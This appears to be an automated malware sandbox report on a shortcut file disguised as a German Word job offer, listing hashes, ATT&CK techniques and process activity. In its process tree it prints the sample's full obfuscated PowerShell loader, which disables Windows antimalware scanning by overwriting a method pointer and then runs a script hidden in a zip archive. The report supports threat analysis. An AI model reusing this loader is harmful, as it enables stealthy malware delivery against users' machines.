286345f3e1f943c46b50f63212adcbece83ac4148ddd6bdc057b5d2b878d2a73

Analysis

max time kernel
298s
max time network
235s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
14/08/2026, 04:31

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General

Target
Dienstangebot_T_Zapfel_27-03-26.docx.lnk
Size 3KB
Sample260814-e5s34avcpc
SHA256 286345f3e1f943c46b50f63212adcbece83ac4148ddd6bdc057b5d2b878d2a73
MD5 b0ff8ab9a163fe9f7eaf702ba9935cd7
SHA1 9e834ad6b33ee5395c551b14fa3874eb7d1d5ecd
SHA512 936da1d78e2462d836dd35bc83d6bb8ad34bf39d8b796a3b3ebbfe46acd2fc5672d5f3c692da38c9efb6320af4225284023230a417f1c4b44e427c6b8f234b4a
TLSH
T1677177C4A6F81608F0BA6E36ECBF756159367B0D9E15D68D0848D04E06E1A18DCBFF36
MD5 SHA1 SHA512 TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1600	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4488	Powershell.exe
4488	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4488	Powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1600 wrote to memory of 4488	1600	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Dienstangebot_T_Zapfel_27-03-26.docx.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1600
- C:\windows\system32\WindowsPowerShell\v1.0\Powershell.exe
  "C:\windows\system32\WindowsPowerShell\v1.0\Powershell.exe" $Eo=13;$WHSUt='lflAmES';$gWBqH='Dienstangebot_Zapfel_T_27-03-26';$xrjbt='AllDirectories';$IncRe='\';$WwTNF=(.('gci') env:LOCALAPPDATA).('Value')+$IncRe+$gWBqH+'.zip'+$IncRe+$gWBqH+'.zip';$oV=.('test-path') $WwTNF;if(!$oV){$WwTNF='.','Downloads','Documents','Desktop'|.('foreach-object'){(.('gci') env:USERPROFILE).('Value')+$IncRe+$_ }|.('foreach-object'){try{[IO.Directory]::('getfiles')($_,$gWBqH+'.zip',$xrjbt)}catch{}}|.('select-object') -f (14-$Eo);};if(!$WwTNF){return};$Bss='join';$o=[type]('string');$TKKHq=$o::$Bss('','Nam','e');$T=$o::$Bss('','canC','ontent$');$lvQbP=$o::$Bss('','iUt','ils$');$KqwDp=$o::$Bss('','NonPu','blic,Static');$jqo=[type]('ref');$B=$jqo.('Assembly').('GetTypes')();foreach($tR in $B) {if($tR.$TKKHq -match $lvQbP){$kXmo=$tR}};$SqQ=$kXmo.('GetMethods')($KqwDp);foreach($kx in $SqQ) {if($kx.$TKKHq -match $T){$c=$kx}};class B { static [int] A([string]$clgwV){return $clgwV[0]}};$ZE=([type]('B')).('GetMethod')('A');$frv=$o::$Bss('','Runtime.Intero','pServices.Marshal');$dOCeN=[type]($frv);$tLR=$dOCeN::('ReadIntPtr')([long]$ZE.('MethodHandle').('Value')+($Eo-5));$dOCeN::('Copy')(@($tLR),($Eo-13),[long]$c.('MethodHandle').('Value')+(21-$Eo),1);$en=[IO.File]::('ReadLines')($WwTNF)|.('where-object'){$_ -match $WHSUt}|.('select-object') -f (14-$Eo);if(!$en){return};$Bss='join';$o=[type]'string';$F='split';$U=$WHSUt.('length');$ya=$en.('substring')($U);$jF=$ya.$F('`');$Yy=$o::$Bss('',$jF);$gWBqH=(52-$Eo);$gWBqH=[char]($gWBqH);$oeHU='$l='+$gWBqH+$WwTNF+$gWBqH+';'+$Yy;$zU=[type]'scriptblock';$Bh=$zU::create($oeHU);& $Bh;Write-Host '.';
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_frytfkp4.02z.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frytfkp4.02z.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4488-3-0x000002CEEB670000-0x000002CEEB680000-memory.dmp

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memory/4488-2-0x000002CEEB670000-0x000002CEEB680000-memory.dmp

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memory/4488-11-0x000002CEED820000-0x000002CEED842000-memory.dmp

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memory/4488-12-0x000002CEEB670000-0x000002CEEB680000-memory.dmp

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